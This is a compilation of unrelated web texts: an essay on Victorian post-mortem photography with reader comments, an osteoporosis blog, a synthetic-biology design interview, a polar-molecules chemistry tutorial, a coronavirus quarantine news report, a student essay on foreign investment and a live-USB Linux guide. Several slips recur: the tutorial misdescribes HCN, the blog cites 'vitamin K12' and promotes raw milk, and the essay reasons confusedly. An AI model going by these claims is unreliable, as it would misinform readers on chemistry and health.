Typically, these photographs were associated with mourning rituals and commonly involved deceased children or infants, due to the unfortunate childhood diseases at the time. The people of the Victorian time period are typically associated with an obsession of death. It was a huge part of their culture, as the average life expectancy was significantly lower due to poor hygiene, disease, and lack of prenatal care. A historian by the name of Gorer suggested, “It can have been a rare individual who, in the nineteenth century with its high mortality rate, had not witnessed at least one actual dying, as well as paying their respect to “beautiful corpses”; funerals were the occasion of the greatest display for [all] classes.”[2] This obsession was famously portrayed by Queen Victoria, as she mourned the loss of her husband for nearly four decades. She wore mourning attire and followed his daily routine as if he was still living. The reason why death was so apparent in Victorian society is as simple as the high mortality rate due to disease and labor conditions. Carol Christ, an expert on the Victorian fascination with death explains, “In London, in 1830, the average lifespan for middle to upper-class males was 44 years, 25 for tradesman and 22 for laborers. Fifty-seven of every 100 children in working class families were dead by five years of age.”[3] Mourning was also heavily ritualized, requiring women to mourn for years at a time. Mementos, including post mortem photography and locks of hair from the deceased were kept around the house, in memoriam of them.
Deceased Child
Photographer unknown, photo circa 1850
Though the practice of photographic the dead may be seen as strange in today’s society, it was accepted throughout the entirety of Victorian culture as a way to celebrate the person in life. Some were strategically posed in a lifelike manner, “sometimes the subject is seated upright on a chair or couch with its hands crossed in its lap and the eyes closed,”[5] and often placed by their loved ones as a sort of final family portrait. Objects, such as a child’s favorite toy are placed around the body, to create a more lifelike appearance. This was common when there were no other photographs of the deceased. According to historians Andrea M. Patawaran-Hickman and Rachael Wintering, these photographs were often the only ones ever taken of their loved one, meaning it was their only source of remembrance of that person, “As unusual as it may seem to us today, post-mortem photography used to have strong sentimental value to living relatives. For some people, the deceased photograph of the individual may have been the only photograph ever taken. The photograph may have been one of the few tangible objects in which the family members could memorialize the life of the deceased.” Essentially the portrait was seen as a sense of preservation or immortality, the overwhelming thought of the time being that remembrance was of utmost importance for family members and future generations.
African American woman holding her deceased child Photographer: Jaynes, A. D.
Circa 1860-70
Another common way of photographic the deceased, which was more prevalent in adults and used frequently in the latter half of the nineteenth century, is the “last sleep” position. The departed were photographed in their beds or sofa, often immediately after passing. They were frequently covered by a sheet with pictures of the entire bodies being minimal, as the common practice was close ups. These photographs were less personal, “Rarely is the photograph personalized, i.e., designed to convey something about the deceased as an individual. Even when objects are present, they look more like standard props used to enhance the composition than the personal property of the deceased.”[7] The ideology behind photographing the deceased to look like they were sleeping is suggested by historian James Farrell that death itself is natural and gentle, similar to falling asleep, he quotes “to be more than probable that the final act of dying is as simple and painless as going to sleep- and practically, we all die daily, without knowing it, when we go to sleep for the night.”[8] This pose was used as an attempt to blur the divide between life and death, maintaining the Victorian obsession with maintaining a person’s life after they have died.
The cultural tradition of Victorian death photography exhibits the psychological process of mourning for people of this era. Victorian’s are known for being obsessed with death, and the average Victorian funeral often involved “show and expense”[9]. Victorians staged photos with their deceased loved ones and even took photos with their “spirits” (ghost-esque figures added to typical portraits) in order to preserve the life and idea of their family member. This social norm helped to ease the grief many families felt but could not display, since expressions of grief were looked down upon because of strict social constructs for morning periods. These photos also encouraged those who looked at the photographs to empathize with the loss of the individual.[10] A post-mortem photograph was considered an homage to the deceased, and was intended to honor his or her life.[11]
Logistically, families would take the corpses of the deceased to dress and pose those corpses in ways those individuals would have in their lives. After the first post-mortem Victorian photograph was taken in 1841, it became essential for photographers to be trained in the art of post mortem photography.[12] Photographers shared tips and tricks to help with tasks such as moving the body, opening the eyes, and turning the eyeballs so the corpse appears to be looking in the proper direction. Images might also be manipulated after the photo was taken in order to paint pupils over the eyelids or make the subjects look more alive. Photographs at the time took 20 seconds of motionlessness in order to achieve a clear photograph, so deceased subjects were, in a way, ideal.
Post mortem photograph of a deceased child with her siblings
In some cases, subjects were dressed in clothing they had worn in their life or with objects that they once enjoyed, like a toy or blanket for a child. This helped to preserve the idea and personality of the individual in their life after their death. Later, as the trend of post-mortem photography began dissolve, photographs began to exhibit loved ones in mourning with the clearly deceased individual rather than the idea of attempting to preserve the life of the dead. Often, photographers would pose subjects as if they sleeping because it was less challenging. Presenting deceased subjects also preserved the idea of death being the individual’s “last sleep.” It was easier to cope with and understand that individual’s death if the individual’s eyes were closed than if they were open. People of the Victorian era hid the idea of death from these photographs, and instead represented the deceased as somewhere in between life and death.
The perception of photography throughout history has changed alongside advancements in cameras and their accessibility. As photos become less of a commodity, the perception of a single photo’s significance has changed. The current social state deems taking pictures of the dead as “disrespectful and crass, and it comes across as an invasion of privacy”[14] . However, post-mortem pictures in the Victorian era were a respectful and beautiful way of remembering the dead. Comparison of the context surrounding the shift in ethical acceptance of these photographs will explain how the perception of post-mortem photography has shifted.
Post-mortem portraiture in the late 1800s and early 1900s were a part of the grieving process. High mortality rates for the Victorians also contributed to the normalization of post-mortem portraits as the family could place their deceased within a domestic context to aid in grief.[15] These portraits were elaborately planned and deceased would take great care in crafting a picture that is both respectful and serene. The ethical debate surrounding post-mortem photography during this time was not as divisive as the images were “a reminder to loved ones and visitors alike that the deceased remained a presence in the world of the living”[16]. However, as time passed and the attitudes towards post-mortem photography became something ‘morbid’ and less acceptable to the public.
The transition to morbidity was spurred by advances in medicine and the commercialization of photography during the 1920s. As illness transitioned from a home setting to a hospital setting, death became more public. As medical teams became more involved in disease, the family became more removed from the processes of death and as treatments progressed, families became more uneasy with the thought of death. This involvement of a doctor made death seem less intimate and places it in a more scientific context that decreased the niche for post-mortem portraiture.[17] As technology continued to advance, photos became more accessible and more commercialized leading to the threat of widespread scrutiny if a picture were released. During this time, pictures of war began circulating and images of war contributed to the grim circumstances surrounding death. This shift in the perception of death caused people to abandon the practice of post-mortem portraiture, radically reducing the ethical acceptability of this previously common practice.[18]
Post mortem family portrait circa 1840s
After a long period without personal use for post-mortem photograph, photographs of the dying reemerged in the 1980s as publications of Kübler‐Ross’s On Death and Dying in 1969 and the hospice movement by Dame Cicely Saunders began circulating, reducing the fear and grim connotations behind death. As neonatal death became more frequent, there was an insurgence of families taking pictures of their children as a method of grieving.[20] Modern society’s view of the appropriateness of a picture has changed drastically throughout the past century, in many ways society has come full circle. However, as cell phones expand accessibility of pictures all over the world and social media spreads the reach of a photograph, the moral and ethical question of photographing the dead can shift even more moving forward.
[1] Christian, Kelly. “The Unpleasant Duty: An Introduction to Postmortem Photography.” The
Order of the Good Death. March 09, 2016. Accessed April 08, 2019.
[2] Ruby, Jay. Secure the Shadow: Death and Photography in America. Cambridge, MA: MIT,
[3] Hunter, Lyn. “A Victorian Obsession With Death Fetishistic Rituals Helped Survivors Cope
With Loss of Loved Ones.” Berkeleyan. April 05, 2000. Accessed April 08, 2019.
[5] Hannavy, John. Encyclopedia of Nineteenth Century Photography. Vol. 1. London: Routledge,
[6] Christian, Kelly. “The Unpleasant Duty: An Introduction to Postmortem Photography.” The
[7] Patawaran-Hickman, Andrea M., and Rachael Wintering. “Cultural Context and Post-Mortem
Photography–Honoring President Lincoln.” Visual Rhetoric UNC Charlotte. Accessed April 08, 2019.
[8] Hunter, Lyn. “A Victorian Obsession With Death Fetishistic Rituals Helped Survivors Cope
[9] Cadwallader, Jen. “Spirit Photography Victorian Culture of Mourning.” Modern Language
Studies 37, no. 2 (2008): 8-31.
[10] Summersgill, Lauren. n.d. Family Expressions of Pain in Postmortem Portraiture. Studies in
Visual Arts and Communication: an international journal. Accessed April 8, 2019.
[11] Borgo, Melania, Marta Licata, and Silvia Iorio. 2016. Post-Mortem Photography: The Edge
Where Life Meets Death? Italy: De Gruyter.
[12] Christian, Kelly. “The Unpleasant Duty: An Introduction to Postmortem Photography.” The
[13] Bell, Bethan. “Taken from Life: The Unsettling Art of Death Photography.” BBC News. June 05, 2016. Accessed April 09, 2019.
[14] Mayne, Debby. “What Pictures You Should Never Post from a Funeral.” The Spruce, TheSpruce, 29 Jan. 2019,
[15] Hilliker, L. (2006). Letting Go While Holding On: Postmortem Photography as an Aid in the
Grieving Process. Illness, Crisis & Loss, 14(3), 245–269.
[16] NYGARD, P. & REILLY, C. (2003). The american family and the processing of death prior to
the 20th century. In C. D. Bryant & D. L. Peck Handbook of death & dying (pp. 567-574)
[17] Bown, Nicola. “Empty hands and precious pictures: post-mortem portrait photographs of children.” Australasian Journal of Victorian Studies 14.2 (2009): 8-24.
[19] “Post-Mortem Portraits.” The Dabbler. August 01, 2013. Accessed April 09, 2019.
[20] Ennis, H. (2011). Death and digital photography. Cultural Studies Review, 17(1), 125-145.
Nicole Fortin, Cee Cee Huffman, Kim Nguyen
1. I loved your post about post mortem photography! I especially liked how you talked about how views on post mortem photography have changed from the Victorian era to now and how we have almost come full circle. I feel like we still view it as offensive, except in the neonatal case that you described. I think this comes from the fact that as a culture, we in the United States are so far removed from death now that it feels wrong to take a picture of the dead.
A few months ago I visited a plantation house in Baton Rouge, Louisiana, and during the tour, our guide showed us a painting of one of the daughters from before photography was invented. In this painting, half of the girl was painted to be alive and split down the middle, the other half was painted to be dead. The girl had died of some sort of illness when she was a child and it is really interesting to see that even though this was before the invention of photography, the wealthy would still try to honor those that died with painting the deceased after their death.
An additional perspective that you could take would be to look at how other cultures view pictures of the dead. Like how in class we have looked at the immense intricate funerals that other cultures have that has developed into a tourism market. Do people from this culture think of it has a way to learn more about their lifestyle, or do they find it offensive and unethical? Great post! I loved reading your thoughts on the rise and fall of post mortem photography!
2. What struck me most about your article was the presence of contrasts- you write about how death was relatively common, particularly in Victorian ages, and how because of this it was very present in the public consciousness, yet also note how mourning processes surrounding these deaths were heavily ritualized and often went on for very long periods of time. This makes me wonder if death was somewhat normalized and accepted, or if it was something to be feared or anxious about (as it is in many Western cultures today) despite a Victorian “obsession” with death. When reading your article, I also thought a lot about present day applications and cultural views on post mortem photography. For example, in my pod’s research process, we came across a lot of photographs of bodies that were either newly dead or relatively decomposed. Though the deceased in these photographs were not explicitly staged in the ways the bodies in your posting seemed to be, it could be argued that there was still some degree of “staging” in the sense that many of these photographs were taken to fill a specific purpose (to evoke a particular reaction in a news article, to provide forensic evidence, etc.). Both these examples and those in your posting made me think about whether these bodies are serving to fulfill a need of the living, and what the ethical implications of this might be. In continuing this comparison between past and present conceptualizations of post mortem photography, you say that the photographs you analyze in your post are meant to be a continuation of life after death. I would argue that present day death photography seems to be something of the opposite, as it seems to have more of a sense of finality. As an ending note, I am wondering if these more modern interpretations of this practice are also considered “art,” or if they take some other form? How are you defining art in this context?
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Top 5 Lifestyle Changes You Can Do to Prevent Osteoporosis
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Osteoporosis is a condition where a person gradually loses bone material, resulting in brittle and easily fractured bones.
As we age, bone material is lost and our bones become thinner. It is estimated that in the United States alone there are over 40 million who have osteoporosis or are at risk due to low bone mass.
As we are concerned with natural anti-aging remedies for our skin, wholesome nutrition to manage our weight, and functional exercise for our muscles, we can’t forget to pay attention to the frame-work that holds us together, which is our bones.
Bone tissues are constantly being formed and used up in the bone. The maximum bone mass is attained at the age of 30, this is where bone tissues are readily formed more so than being lost. After this age, bone mass is lost more quickly than formed. If your peak bone mass is low, you will have lesser bone tissues to deplete and thus, can result in the risk of osteoporosis.
Study shows that osteoporosis is more common in women than in men.
One of the facts to consider in support of this is that osteoporosis starts earlier and gets worse faster in women because of midlife hormonal shifts. Bone loss increases in the first 10 years after menopause, a key time when osteoporosis can develop. But starting around age 65, both sexes lose bone mass at about the same rate.
Top 5 lifestyle changes you can do to prevent osteoporosis:
1. Do exercises such as walking regularly, stair climbing, and weight training.
2. Do not smoke.
Research studies have identified smoking as a risk factor for osteoporosis and bone fracture.
3. Do not drink heavily.
Excessive drinking can interfere with the balance of hormones, as well as decrease vitamin absorption which may lead to osteoporosis.
4. Do eat foods high in calcium.
Consume foods like raw milk and cheeses from grass-fed cows, and green leafy vegetables such as kale, spinach, collard greens, broccoli, and okra.
• Try this super calcium and vitamin packed juice recipe: 1 orange, 1 kale leaf, 2 ripe bananas, and 1/2 cup of water. (Also great as an electrolyte booster for those “recovery” days from your moderate drinking.)
5. Do spend some time in the sun.
Vitamin D is essential for the body to absorb calcium properly. Additionally, vitamin K12 may also be a key factor in preventing bone fractures as you age.
A study published in Osteoporosis International has concluded that lifetime supplementation with vitamin K1 or, even better, K2, vitamin D3, and calcium is likely to reduce fractures and increase survival in postmenopausal women.
The good news is, no matter what age you are, there are natural proactive steps you can take to prevent osteoporosis and bone fractures.
If you are in your 20’s and 30’s, do your best to build up your bone mass by exercising and moderating your alcohol consumption. If you are in your 40’s and above, continue being active, enjoy the sun within reason, and of course, at any age eat your green vegetables!
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Eating healthy and doing activities that support strong bones will help me age well. Click To Tweet
If you would like help in creating your good health & natural beauty lifestyle, then check out my life-coaching services.
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When science collides with design
2039 is the year of the Scatalog, the process that allows patients to use synthetic biology to watch for early warning signs of diseases. People will be able to go to the supermarket and buy a yogurt that will mix with bacteria in the gut. The bacteria then keeps watch for chemical markers of diseases. If a potential illness is detected, a vibrant output results in the feces.
It is a Massachusetts Institute of Technology award-winning futuristic idea and the result of an experimental collaboration between scientists at Cambridge University and designers. The project, called E.chromi, is as much about science as it is about creativity, and it even got the attention of The Metropolitan Museum of Art. Last week the New York City museum featured the Scatalog ― (fake) feces and all ― in Talk to Me, an exhibit that explores the communication between people and objects.
One of E.chromi’s project leaders, James King, is a 29-year-old self-described speculative designer with a focus on biological science. Two years ago he started working with the University of Cambridge International Genetically Engineered Machines (iGEM) competition team. The team’s members gave him a crash course in synthetic biology. To return the favor, King ran a design workshop for the iGEM team, and from this, E.chromi was born.
I talked with King today about what happens when designers meet scientists in the lab. This Q&A is edited for length.
Q. How do you define synthetic biology?
A. I think different people define it differently depending on where they’re coming from, but I think it’s a field which is defined by a goal of basically trying to engineer bacteria or other organisms to do interesting things using standardized genetic parts and process. And I think that’s the clearest and most common kind of conception of synthetic biology.
I think it’s more interesting to talk about it as a field of people rather than a field of science or interest. There’s a very interesting kind of social element to it and community of practice, and all of those interesting social science things that people like to study all exhibited in this particular area.
Q. Tell me about the role of design in this project. How did you see that there was potential to mix lab science and design?
A. Traditionally designers are considered to be applied artists in an analogous way to engineers being applied scientists. And what I’ve been really interested in for the past two years is what happens when a designer goes into the lab and talks with a scientist and whether that interaction can be useful or meaningful. And I think it can. I think the role that we’ve had in this project was really to question what the researchers were doing.
And our role was really to bring an idea of what culture and kind of a sense of what people desire from technology and bring that into the project. People are interesting, and what they do with the technology will always be different to how your imagined it yourself. And it’s important to just be aware of that.
The easiest way of describing it is to say that the technology wasn’t just designed at the genetic scale, which is what the students were doing, but it was designed at the human scale as well. And that’s incredibly powerful because you’re just considering many more layers and many more scales rather than just focusing on the one that’s right in front of you in the petri dish.
Q. One of your futuristic scenarios using E.chromi technology is 2069: Red Sky in the Morning, Google Health Warning. You imagine that Google would release pollution-mapping bacteria to color the sky red in zones with excess carbon dioxide. Can you explain that?
A. I think it was a slightly tongue-in-cheek poke at Google. I think at the time there were lots of news stories with people being unhappy with Street View, at least in Europe. And not wanting people to show pictures of their street and their houses, make those available online. And just the idea that Google does take kind of uni-lateral action and does make available this information, just because it can. And I don’t personally have any problem with that at all. But we thought that if any company would be likely to do this, then Google would probably be the company to do it. Just because it tries to make information free and visible to people regardless of who might not want that information to be free and visible.
Q. Where is E.chromi going next?
A. This is project that has come from the mind of designers but is now being used to kind of raise awareness of synthetic biology in academic institutions, and we always imagined the value of the work we do is to help the public understand what the science is. But actually, what’s been more interesting is that within the institutions of science and funding and research, the project still has value and still has a way of kind of communicating important things to people. I can see more of that happening.
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polar and nonpolar molecules
The difference between a polar molecule and a nonpolar molecule depends on molecular geometry.
Polar Bonds
Polar result when two different elements share electrons and form a covalent bond. Each element has a characteristic electronegativity. A more electronegative element has a stronger attraction for electrons it shares in a bond.
Figure 1: The difference in electronegativity between elements makes a permanent dipole in a chemical bond.
Stronger electronegativity pulls more electron density towards the more electronegative element. Greater electron density confers a partial negative charge, . This also induces a partial positive charge on the element which is less electronegative, , Figure 1.
When a difference exists in relative charge between two elements, a dipole is established. One side of the dipole has a and the other side has a charge.
The strength of a dipole is expressed as the difference between the two poles, μ.
Dipole Vectors
dipole arrow
Figure 2: Dipole arrow points from lower electron density to higher electron density when there is a permanent dipole.
An arrow shows the direction and strength of a dipole. The arrow points from positive at the base of the arrow to negative at the head of the arrow.
The length of the arrow shows the strength of the dipole. The arrows represent vectors which when added, contribute to the overall dipole present on a molecule.
When vectors oppose one another and are equal and opposite, they cancel each other out. This explains why molecules may have polar bonds, but not be polar molecules, Figure 3.
vectors cancel each other
Figure 3: Dipole arrows which are equal and oppose each other when added together leave an overall dipole of zero, μ = 0.
polarity and vector addition
Figure 4: Two dipole vectors add together to make a single dipole
In the same manner, when two dipole vectors add together and do not directly oppose each other, the result is a new dipole vector composed of individual dipole vectors, Figure 4.
The example shows two equal dipole vectors at a right angle to each other. The result is a single vector which comes from the hypotenuse: a2 + b2 = c2.
Polar Molecules: Diatomic Molecules
polarity with diatomic molecules
Figure 5: Polarity of diatomic molecules
Diatomic molecules can be either polar or nonpolar, Figure 5. If both atoms are the same, then the molecule is nonpolar, O2. Fluorine is much more electronegative than hydrogen.
In HF, there is a strong dipole which leaves a partial positive charge on H and a partial negative charge on F.
Some cases can be deceptive, like carbon monoxide, CO. Oxygen is more electronegative than carbon. You might expect this means the O would have a partial negative charge while the carbon has a partial positive charge.
However the oxygen has three bonds and one lone pair, which gives it a formal charge of +1. Carbon has three bonds and one lone pair of electrons. That leaves carbon with a formal charge of -1. Therefore the dipole from positive to negative points from oxygen to carbon.
Molecules with Molecular Shape
Polar Molecules: Triatomic Molecules
triatomic polar and nonpolar
Figure 6: Trimolecular molecules with bond dipoles as red arrows and resulting molecular dipoles as blue arrows.
The situation turns more complicated with three atoms. More than one polar bond in the molecule becomes possible, Figure 6.
A linear molecule is polar if the molecule is not symmetric. When you compare the size of the dipoles and add them together, it results in a non-zero molecular dipole. The molecule is polar.
HCN has a central carbon with a hydrogen on one side and hydrogen on the other. Consider the C-H bond nonpolar. The remaining C-N bond has a dipole that goes from the less electronegative carbon to the more electronegative nitrogen. The molecule is polar.
H20, O3, and SO2 are all polar. Though each bond dipole is equal to the other dipole in the same molecule, the bond dipoles do not directly oppose each other. The addition of bond dipoles leaves a molecular dipole which has not cancelled out. The molecules left with an overall molecular dipole are polar.
In the case of two dipoles which are equal and exactly oppose each other, CO2, the two dipoles add together to leave the molecule with no overall molecular dipole. The molecule is nonpolar.
Polar Molecules: Four Atom Molecules
Polar and nonpolar 4 atom molecules
Figure 7: Examples of four atom molecules with red arrows as bond dipoles and and blue arrows as molecular dipoles.
Four atom molecules follow the same pattern as three atom molecules, Figure 7.
COCl2 has dipoles which all point away from the central carbon out towards the more electronegative O and Cl. You might be tempted to think this is nonpolar.
Yet when you add the two Cl, the resulting downward vector would become smaller than either of them alone. The O which opposes them over balance the two Cl‘s. This confers an overall molecular dipole that points from C to O.
BF3 acts as an example of a four atom molecule which is nonpolar. The three atoms around boron are identical, so the dipoles exert a force from a on boron to on each fluorine. Because the dipoles are symmetric and oppose each other, their sum is zero. This makes BF3 nonpolar.
NH3 provides an example of a trigonal pyramidal molecule. Though the N has three identical atoms attached, the lone pair on the N causes the bonds to pucker lower than the N. This causes the dipoles to no longer directly oppose each other. (All trigonal pyramidal molecules are polar).
Pay attention to the difference between trigonal planar and trigonal pyramidal. Trigonal planar molecules are flat. They can be polar or nonpolar. Trigonal pyramidal molecules are puckered. They are always polar.
Polar Molecules: Five Atom Molecules
5 atom polar and nonpolar molecules
Figure 8: Five atom molecules with bond dipoles in red and molecular dipoles in blue.
The finally example of small molecules, are molecules which are made of five atoms, Figure 8.
In this case, the molecule all derive from the parent compound of methane, CH4. Because carbon has four H‘s attached to it which are uniformly placed around the C, the molecule is symmetric. This makes it nonpolar.
The remaining molecules in Figure 8 are all not symmetric. This means they must be polar. In the last case, CHBrClF, even though Br and Cl have very similar electronegativities, fluorine is far more electronegative than either of them. When the resulting vector sum of Cl and Br oppose fluorine, it is not strong enough to counter act the dipole associated with F. This makes this asymmetric molecule polar.
Polar and Nonpolar Regions
polar regions of complex molecule
Figure 9: Molecule with multiple dipoles and nonpolar areas.
More often you will encounter molecules which do not have just one single atom. The more common situation comes up when a molecule has multiple atoms, each with a unique dipole, Figure 9
The simplest amino acid, glycine, illustrates the idea. The formula for glycine is H2NCH2COOH. The carboxyl group CO2H has two polar bonds and a permanent dipole, μ. The CH2 group has no dipole moment, and is nonpolar. Further along the molecule, the NH2 group also has a permanent dipole.
The behavior of molecules can depend not only of the entire molecule is polar or nonpolar, buy also on whether parts of a molecule have polar or nonpolar character.
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195 Americans are quarantined because of coronavirus. What does that mean?
The U.S. declared the virus a public health emergency on Friday.
The 195 Americans evacuated from Wuhan, China, on a plane chartered by the U.S. government, as part of an effort to prevent the spread of coronavirus, have been placed under a 14-day quarantine.
After that decision by the Centers for Disease Control and Prevention, the White House on Friday declared the 2019 novel coronavirus a public health emergency. Additionally, any U.S. citizens returning from mainland China are being required to undergo proactive health screenings at ports of entry and spend up to 14 days in self-quarantine.
These announcement came a day after the World Health Organization declared the coronavirus a global health emergency. To date, seven cases in the U.S. have been confirmed, but almost 12,000 have been reported in China, where at least 259 have died from the disease.
"While we recognize this is an unprecedented action, we are facing an unprecedented public health threat, and this is one of the tools in our toolbox to mitigate the potential impact of this virus in the United States," Dr. Nancy Messonier, director of the CDC's National Center for Immunization and Respiratory Diseases, said at a press briefing.
It's the first time in more than 50 years the CDC has issued such a quarantine.
"While there have been several isolation orders over the last many years, the last time the quarantine was used for a suspect case was in the 1960s for a smallpox evaluation," said Dr. Marty Cetron, director of CDC's Division of Global Migration and Quarantine.
Isolation and quarantine are two different tools used to restrict the spread of disease. Using isolation is much more common.
Both are legal measures available to federal and state authorities to limit exposure or prevent a potentially contagious disease from spreading. In most states, breaking a quarantine order is a criminal misdemeanor.
"'Isolation' is the legal term that refers to separating someone who is already sick, or reasonably believed to be, from healthy people, while 'quarantine' is used for isolating people that are not yet sick and may never get sick" but may have been exposed to something contagious, said Polly Price, a law and public health professor at Emory University.
The CDC is also authorized to detain, medically examine and release people arriving in the United States or travelling between states if they're potentially infectious. The CDC routinely monitors people crossing U.S. borders for signs and symptoms of communicable diseases and may order a federal isolation or quarantine if an individual is deemed potentially infectious.
With the coronavirus, health officials currently believe symptoms will manifest within two weeks, so the quarantines effectively cover the incubation period for the disease, researchers believe. So far, specimen samples from passengers entering the U.S. have been negative. But that's not a guarantee.
"The testing we have available now cannot identify people in the incubation phase. This is a point-in-time, single test, and shouldn't be relied upon to make a prediction as to whether or not the person will become ill," said Price, echoing sentiments from the CDC. "Until we have a better test to more rapidly determine whether someone is carrying the virus, quarantine is the best tool we have. We have to trust the government is using the best science available to institute the minimum restrictions."
But, Cetron, added, "Clearly, there are cons."
If improperly enacted, quarantines can "induce fear and stigma of individuals. If people aren't treated with dignity and respect and have all the supportive care, that's not the way to implement this tool."
Not all individuals have been cooperative, CDC officials said. One person reportedly tried to leave, and officials issued a state-level California quarantine to enhance the level of protection. Authorities declined to comment further.
"We'd rather be remembered for overreacting than underreacting," Messonier said. "We are preparing as if this were the next pandemic, but we are hopeful still that this is not and will not be the case."
Eden David, who studies neuroscience at Columbia University and is matriculating to medical school later this year, is a member of the ABC News Medical Unit. |
Global Pattern of Direct Foreign Investment
This study is essential in the review of progress in the business world. Every business has targets and objectives, and at the end of the financial year, the management of that business prepares a report to show the progress and achievements the business has made. Business entails identifying an opportunity and then utilizing and maximizing on that same opportunity. When the environment is good enough for the business activity, with the presence of the required materials, it attracts the Foreign Direct Investment (FDI). The FDI is essential to the countries’ economy since it is the main source of finance.
It is also through the FDI that the country opens up business opportunities with the external market, also aids in the knowledge and technology transfer. There has been a consistent growth of foreign direct investments globally. This can be attributed to the consistent improvement of business favoring factors in various parts of the world. First, the factors that promote foreign direct investment to the country should be considered. For example, the foreign investment pattern in India reveals that the strategies are well organized (Athreye, 2001).
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The strategy according to Hayes and Wheelwright had four models namely: the internal neutrality, the external neutrality, the internal supportive and finally, the external supportive. These strategies are all in the purpose of attracting the foreign direct investment to the country (Barley 1986). There are more factors that determine the level of FDI that a state can attract. The most influential factor is the environment/location. More developed countries attract more foreign direct investment than the less developed countries due to the regions of location.
This explains why countries like the US have more FDI than the African states in general (World Bank 2002). Impact of environment/location on attracting FDI. The business location is valuable because it determines how accessible a busines is to the suppliers as well as consumers. The company needs to have advanced advertising skills to market its products. This ensues that many people come to know the product well and in the long run boost the amount of sales. Accessibility of a business allows the enterprise to dispatch and recieve commodities to and from the premises.
As a result, this boosts the demand for the services and goods offered; hence, investors get attracted to the business. The IMF report of 2008 states that the general costs of manufacturing goods is less, but services like warehousing, transportation, marketing and taxations are the ones that add value to the goods (Daisuke, 2008). A suitable business location has to be conducive for the business. Thus, the environment where the company performs and manufactures its products has to be convenient both to consumers and business.In the case of industries, they must be located in areas with substantial drainage systems, where they can discharge their sewage without causing environmental harm or to the people (Canning, 1999).
Any business should take care of the environment in any possible way. The environment, therefore, determines where the business will be brought up. The US government is encouraging companies to operate in an environment friendly manner. This gets referred to corporate social responsibility. Some of the advantages of being socially responsible include reduced government tax duties and restrictions, hence, making such a business run well in the US market (Borensztein, 1995s).
The business achieves maximum profits in the long run. This, to some extent, explains why more manufacturing industries operate in Africa as compared to the technological industries in the developed states. Locating a business in well developed area, in terms of the infrastructure, reduces the cost of operations. There is minimized need for marketing, transportation which does add value to the goods (Te Velde 2001). The location of a business helps the investors to access it easily. Most of the prominent people with enough capitaal live in developed areas, and; thus, they provide the necessary capital in the daily business operations.
More FDI gets attracted by the willingness of people to spend. Thus, the expenditures have to be high for the country to attract more FDI. The level of employment should be the first thing to put into consideration.Political stability of the state carries weight and hence determines the FDI attraction. More investors would go for a stable country with less political clashes and interferences.
This ensures that the business invested has minimal risks at any circumstance. There is less loss of money in unnecessary expenses such as the military wars and corruption cases when the country has a stable political background (Government of India, 2006). The 2010 Financial Times also indicates increased FDI in the Iraqi state as a result of stabilization in the political status. At first, it can be stated that the country is rich with oil reserves, hence, attracting more investors (Kearney). Then, the political stability due to reduced war activities is another issue, promoting the first growth of the FDI in the country. From the statistics, it can be concluded that change in the political and stable environment leads to the automatic improvement in the level of foreign direct investment, especially in the economy of that country (World Bank 2002).
The World Bank Report of 2003 (chapter 3) advises that India have to concentrate on improving and attracting more Foreign Direct Investment. It is only through this that any country can get stronger in the technological prowess and competitiveness. However, a strategy to do so is also advised. This has to do with strengthening the intellectual property rights (IPR). However, the certain measure of the percentage growth of the FDI is not certain, but the fact remains that once the country’s Intellectual Property Rights goes up, the country will grow economically.
Lack of this growth will cause the investors to deviate their attention to the alternative economy available with quite promising strategies (Rajan 2004). |
Live distro and Full Linux Install/Creating a live USB stick
This document assumes that you are familiar with, and not afraid of using a command shell.
Simpler instructions for creating a live USB stick if you already have one
BACK-UP YOUR DATA! We do not recommend working on a hdd, or a usb drive, that has important data on it without keeping another copy somewhere else. We can not, and will not ever, assume responsibility, implied or expressed, for any loss of data incurred using this guide. Again, back-up your data Luke!
This guide assumes that you have a working distro CD or DVD (or a running virtualisation image, e.g. using qemu FIXME-does this work??) from which you can create the USB stick. You can create working devices from other gnu/linux distros too, using these instructions.
Creating a USB bootable drive in Linux using make-live-device.shEdit
Summary of stepsEdit
1. Download and install dependencies: bzr (bazaar), grub2 and (g)parted. (If you're running the distro, these are already installed.)
2. Check out bouilloncube source code from launchpad.
3. Download the DVD (or CD) iso image from one of the distro mirrors. Refer to the Getting the distro page for ways to do that.
4. Plug in the USB stick, find out which device file to use and run the script (using sudo).
In detailEdit
Note: if you are creating a stick from a running distro, you already have the script installed, but at the moment it's a good idea to follow all of these steps so that you have the latest version of the script.
1. Installing all necessary dependencies to run the script strongly depends on which distribution of GNU/Linux you are using. In Debian-based systems (such as Debian, Ubuntu, Linux Mint or Puredyne) you can just open a terminal and type:
sudo aptitude install bzr grub2 parted
Update: as of Ubuntu 10.10+ aptitude is no longer included with Ubuntu. Use apt-get.
Other flavours of GNU/Linux, for instance like gentoo you have to use their respective package management tools to install these programs. Here's an example for gentoo:
sudo emerge bzr parted grub2
2. To check out the source code of bouilloncube (including type this in a terminal:
bzr branch lp:bouilloncube
This will create a directory called bouilloncube in your home directory.
3. Download the DVD or CD iso image from from one of the distro mirrors closest to you. You can get detailed instructions to do this here, for one example for downloading the iso from the distro main mirror using rsync type this in a terminal window:
rsync -P
This will give you a directory listing of all releases on our rsync server, as well as an empty entry as a pointer to the newest release (currently "LATEST_IS_CARROT_AND_CORIANDER")
To download the lastest DVD release type:
rsync -P puredyne-911-carrot_and_coriander-DVD-amd64.iso
TIP: if you already have a DVD or CD iso on your hard disk you can rsync over it (and thus save quite a lot of download bandwidth) by substituting the second argument to rsync with a path to your stored iso image.
4. Now plug in the USB pen drive or USB-HDD to your computer and open a terminal. Wait for a couple of seconds until the device has settled and type:
This will show you something like this:
In the highlighted line (and in fact the line above that even clearer) you can see what the device file identifier is for the USB device you have just plugged in, and how many partitions are on it already. In this case there are two partitions on /dev/sdb already, /dev/sdb1 and /dev/sdb2 - make sure you have all data on these partitions backed up, as they will be wiped off the drive completely. All data will be lost!
Tip: you can use the very great rdiff-backup tool to create, maintain and restore timestamped backups.
Next, run the script. If you are not using the distro to create the stick you have to go into the bouilloncube directory checked out from bazaar earlier:
cd /path/to/bouilloncube/sh/grub2
Then, or if you are already running a distro, you can run the command like this:
sudo ./ /path/to/puredyne-911-carrot_and_coriander-DVD-amd64.iso /dev/sdX
Make sure that you substitute /dev/sdX for the device you see when running dmesg, as noted above. Failure to do so can result in damaged/overwritten data on hard disk drives, so be careful! Replace the .iso filename if you downloaded the CD or the i386 version of the distro.
The script will prompt you whether the selected device is correct, so answer this accordingly. After the script is finished you can unplug the device or reboot your computer straight into it.
Creating a USB bootable drive manuallyEdit
On Linux
Navigate to the directory where the ISO file resides. Likely the Downloads directory of your home folder.
cd ~/Downloads
